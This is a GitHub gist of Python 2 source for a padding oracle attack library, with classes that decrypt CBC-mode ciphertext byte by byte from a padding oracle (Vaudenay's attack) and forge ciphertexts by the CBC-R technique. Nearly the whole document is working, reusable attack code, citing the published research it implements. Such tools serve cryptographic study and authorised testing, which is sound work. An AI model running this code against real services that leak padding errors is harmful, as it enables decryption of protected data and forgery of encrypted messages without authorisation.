Skip to content

Instantly share code, notes, and snippets.

@rcombs
Created May 7, 2013 05:04
Show Gist options
  • Save rcombs/5530367 to your computer and use it in GitHub Desktop.
Save rcombs/5530367 to your computer and use it in GitHub Desktop.
'''
Created on Sep 19, 2010
@author: Eloi Sanfelix < eloi AT limited-entropy.com >
'''
from PaddingOracle.InvalidBlockError import InvalidBlockError
import random
import struct
class CBCREncryptionOracle:
'''
This class implements an encryption oracle based on a decryption oracle.
The decryption oracle must implement a decrypt_block method, which given an input ciphertext
block returns the corresponding plaintext block.
The technique used is known as CBC-R and was described by Juliano Rizzo and Thai Duong in
their BlackHat 2010 presentation "Practical Padding Oracle Attacks".
'''
def __init__(self,oracle,blockSize=8):
self.oracle = oracle
self.blockSize = blockSize
def encrypt_block(self,input_block, prev_block = None):
if (len(input_block) != self.blockSize):
print "Received input block of len ",len(input_block)
raise InvalidBlockError(self.blockSize,len(input_block))
if (prev_block == None):
prev_block = "".join([struct.pack("B",random.getrandbits(8)) for i in range(self.blockSize) ])
ctext = self.oracle.decrypt_block(prev_block)
iv = self.oracle.xor_strings(ctext,input_block)
return iv+prev_block
def encrypt_message(self,message):
if (len(message) % self.blockSize != 0):
raise InvalidBlockError(self.blockSize,len(message))
nblocks = len(message) / self.blockSize
# Encrypt last block
ctext = self.encrypt_block(message[-self.blockSize:])
for i in range(1,nblocks):
#Obtain next ctext and IV using previous ciphertext block + current message block
next = self.encrypt_block(message[-(i+1)*self.blockSize:-(i)*self.blockSize],ctext[0:self.blockSize])
#Add computed previous block to the ciphertext list
ctext = next[0:self.blockSize] + ctext
return ctext
'''
Created on Jul 4, 2010
@author: Eloi Sanfelix < eloi AT limited-entropy.com >
'''
from PaddingOracle.InvalidBlockError import InvalidBlockError
import random
import struct
class DecryptionOracle:
'''
This class implements a decryption oracle based on a given padding oracle.
The attacked padding scheme is the one defined in PKCS#5 and RFC2040, and maybe other places.
The attack was first described in the "Security Flaws Induced by CBC Padding. Applications to SSL, IPSEC, WTLS... by Serge Vaudenay"
'''
def __init__(self,oracle,blockSize=8):
'''
Creates a new DecryptionOracle object. Receives an oracle function which returns True
if the given ciphertext results in a correct padding and False otherwise. A second
parameter defining the cipher block size in bytes is also supported (default is 8).
'''
self.oracle = oracle
self.blockSize = blockSize
def decrypt_last_bytes(self,block):
'''
Decrypts the last bytes of block using the oracle.
'''
if(len(block)!=self.blockSize):
raise InvalidBlockError(self.blockSize,len(block))
#First we get some random bytes
rand = [random.getrandbits(8) for i in range(self.blockSize)]
for b in range(256):
#XOR with current guess
rand[-1] = rand[-1]^b
#Generate padding string
randStr = "".join([ struct.pack("B",i) for i in rand ] )
if(self.oracle(randStr+block)):
break
else:
#Remove current guess
rand[-1]=rand[-1]^b
#Now we have a correct padding, test how many bytes we got!
for i in range(self.blockSize-1):
#Modify currently tested byte
rand[i] = rand[i]^0x01
randStr = "".join([ struct.pack("B",j) for j in rand ] )
if(not self.oracle(randStr+block)):
#We got a hit! Byte i is also part of the padding
paddingLen = self.blockSize-i
#Correct random i
rand[i] = rand[i]^0x01
#Return paddingLen final bytes
return "".join([ struct.pack("B",i^paddingLen) for i in rand[-paddingLen:]])
#Nothing to do when there is no hit. This byte is useless then.
#Could only recover 1 byte. Return it.
return "".join(struct.pack("B",rand[-1]^0x01))
def decrypt_next_byte(self,block,known_bytes):
'''
Given some known final bytes, decrypts the next byte using the padding oracle.
'''
if(len(block)!=self.blockSize):
raise InvalidBlockError
numKnownBytes = len(known_bytes)
if(numKnownBytes >= self.blockSize):
return known_bytes
# Craft data that will produce xx ... xx <numKnownBytes+1> ... <numKnownBytes+1> after decryption
rand = [random.getrandbits(8) for i in range(self.blockSize-numKnownBytes)]
for i in known_bytes:
rand.append(struct.unpack("B",i)[0]^(numKnownBytes+1))
#Now we do same trick again to find next byte.
for b in range(256):
rand[-(numKnownBytes+1)] =rand[-(numKnownBytes+1)]^b
#Generate padding string
randStr = "".join([ struct.pack("B",i) for i in rand ] )
if(self.oracle(randStr+block)):
break
else:
rand[-(numKnownBytes+1)] =rand[-(numKnownBytes+1)]^b
# Return previous bytes together with current byte
return "".join([struct.pack("B",rand[i]^(numKnownBytes+1)) for i in range(self.blockSize-numKnownBytes-1,self.blockSize)])
def decrypt_block(self,block):
'''
Decrypts the block of ciphertext provided as a parameter.
'''
bytes = self.decrypt_last_bytes(block)
while(len(bytes)!=self.blockSize):
bytes = self.decrypt_next_byte(block,bytes)
return bytes
def decrypt_message(self,ctext, iv = None):
'''
Decrypts a message using CBC mode. If the IV is not provided, it assumes a null IV.
'''
#Recover first block
result = self.decrypt_block(ctext[0:self.blockSize])
#XOR IV if provided, else we assume zero IV.
if( iv != None):
result = self.xor_strings(result, iv)
#Recover block by block, XORing with previous ctext block
for i in range(self.blockSize,len(ctext),self.blockSize):
prev = ctext[i-self.blockSize:i]
current = self.decrypt_block(ctext[i:i+self.blockSize])
result += self.xor_strings(prev,current)
return result
def xor_strings(self,s1,s2):
result = ""
for i in range(len(s1)):
result += struct.pack("B",ord(s1[i])^ord(s2[i]))
return result
def hex_string(self,data):
return "".join([ hex(ord(i))+" " for i in data])
'''
Created on Jul 4, 2010
@author: eloi
'''
class InvalidBlockError(Exception):
'''
classdocs
'''
def __init__(self, expectedSize, receivedSize):
self.expected = expectedSize
self.received = receivedSize
def __str__(self):
return "Invalid block size: "+self.received+" bytes. Block must be "+self.expected+" bytes long."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment